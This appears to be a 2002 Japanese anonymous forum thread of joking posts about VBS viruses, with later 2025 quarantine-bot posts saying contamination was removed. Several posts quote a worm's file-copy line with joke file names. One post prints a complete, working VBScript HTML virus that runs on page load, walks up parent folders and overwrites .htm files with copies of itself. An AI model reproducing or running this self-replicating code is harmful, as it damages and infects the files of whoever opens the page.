1 ：
名無し~3.EXE：02/07/06 15:16
>>2 ごめん、漏れも今そこに気がついた(;´Д`)
c.Copy(dirsystem&"\M$に通報ｽﾏｽﾀ.TXT.vbs")
6 ：
名無し~3.EXE：02/07/06 15:31
さすが薮医者
これわろた 2ch批判要望から
24 名前：例えにもなってないが 投稿日：02/07/06 14:16 ID:Rk/EmI3H
厨房学校DQNクラス担任のノートン先生はとても厳しい人で、
汚い言葉やいやらしい言葉を使う生徒を厳しく注意していました。
あるひ、A君はB子ちゃんに勉強を教えていました。
「う～ん、この問題は・・・」
ノー㌧「！？うんこだと！？ウンコだと～～～～～ッ！？
貴様ァァァァァァァッッｔッッッ！！！！！！」
Ａ君はノートン先生に撲殺されてしまいました。
めでたしめでたし。
11 ：
名無し~3.EXE：02/07/08 14:05
警鐘age
>>10 2chのリンクなのにどうして、hを抜いてるんだろう？
>>13 ウイルスが移ると思いこんでるんじゃあ（略）
これは悲惨な1として晒してももいいものだろうか
16 ：
名無し~3.EXE：02/07/08 23:44
危弱age
c.Copy(dirsystem&"\お約束.TXT.vbs")
18 ：
名無し~3.EXE：02/07/09 23:00
危弱age
<BODY Onload="Redirect();">
<script language="VBScript"><!--
Sub Redirect
Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub
Sub Offline
Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath)
While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath)
Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath)
For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true
End If
Next
Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal")
End Sub
--></script>
</BODY>
20 ：
ひみつの検疫さん：2025/03/25(火) 00:21:45 ID:MarkedRes
汚染を除去しました。
21 ：
ひみつの検疫さん：2025/03/25(火) 00:21:45 ID:MarkedRes
汚染を除去しました。
22 ：
ひみつの検疫さん：2025/03/25(火) 00:21:45 ID:MarkedRes
汚染を除去しました。
23 ：
ひみつの検疫さん：2025/03/25(火) 00:21:45 ID:MarkedRes
汚染を除去しました。
c.Copy(dirsystem&\ﾜｹﾜｶﾗﾝ.TXT.vbs)